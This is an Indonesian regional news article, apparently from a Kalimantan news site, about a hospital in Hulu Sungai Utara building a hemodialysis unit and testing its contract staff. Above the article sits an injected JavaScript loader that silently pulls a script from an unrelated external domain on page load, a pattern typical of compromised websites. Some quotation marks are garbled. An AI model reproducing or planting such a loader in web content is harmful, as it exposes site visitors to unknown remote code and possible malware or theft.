(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Guna terus meningkatkan pelayanan kesehatan, Rumah Sakit Pembalah Batung HSU akan melengkapi dengan fasilitas ruangan cuci darah. Upaya ini setelah sebelumnya pihak rumah sakit melakukan presentasi kepada Ketua Perhimpunan Nefrologi Indonesia (Penefri) Prof dr Pranawa di Rumah Sakit Soetomo Surabaya.
Usai presentasi tersebut beberapa, hal yang perlu dibenahi agar sesuai dengan standar pelayanan, salah satunya dengan membangun ruangan homodialisa. Direktur Rumah Sakit Pembalah Batung dr Badrus mengatakan saat ini pembangunan ruang hemodialisa sedang dilaksanakan, dan diperkirakan Agustus atau September bisa dioperasikan.
“Ruang hemodialisa dibangun dekat ruang perinatologi, setelah bangunan selesai baru alat-alat akan didatangkan,†jelasnya.
Dengan adanya pelayanan hemodialisa tersebut, maka pasien gagal ginjal yang ada di HSU bisa ditangani tanpa harus ke rumah sakit lain. Mengingat saat ini pasien dari Kabupaten HSU yang memerlukan penanganan gagal ginjal saat ini masih dirujuk ke RSUD H Hasan Baseri Kandangan.
Pihak Penefri juga melakukan survei langsung ke RSUD Pembalah Batung untuk memastikan layanan cuci darah sesuai dengan standar. Untuk dokter penanggungjawab juga telah siap yaitu dr Debby yang sebelumnya juga diberikan pendidikan di Semarang. Dan saat ini dua orang perawat telah menjalani pendidikan selama tiga bulan untuk membantu dokter dalam menjalankan layanan hemodialisa.
Terkait penyediaan peralatan, pihak rumah sakit bakal bekerjasama dengan pihak ketiga. “Rencananya kami akan menyiapkan empat alat cuci darah, disesuaikan dengan kebutuhan yaitu mampu menangani 30 pasien dengan jadwal cuci darah dua kali dalam seminggu, pasien cuci darah yang kami rujuk saat ini sekitar 20 hingga 30 pasien,†ungkapnya.
Untuk menyediakan fasilitas cuci darah, dr Badrus mengatakan juga perlu mempersiapkan kemampuan cadangan listrik dan air bersih karena peralatannya memerlukan daya listrik yang cukup besar. Pihaknya juga telah mengatur Instalasi Pengolahan Air Limbah (IPAL) untuk mengelola limbah dari sisa proses cuci darah pasien.
Dia menambahkan saat ini pihaknya juga telah melaksanakan uji kompetensi bagi pekerja tenaga kontrak, jumlah tenaga kontrak di RSUD Pembalah Batung memang cukup banyak, dan dengan adanya uji kompetensi ini diharapkan tenaga kontrak yang ada memang memiliki kemampuan yang baik sehingga dapat memberikan pelayanan yang maksimal kepada pasien.
Uji kompetensi yang dilaksanakan sesuai dengan instruksi Bupati HSU Abdul Wahid, jika hasil uji kompetensi ini ada yang tidak memenuhi syarat maka kontrak akan diputus. Sedangkan jika masih memerlukan penambahan tenaga kontrak akan dibuka secara umum. (cel/net)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.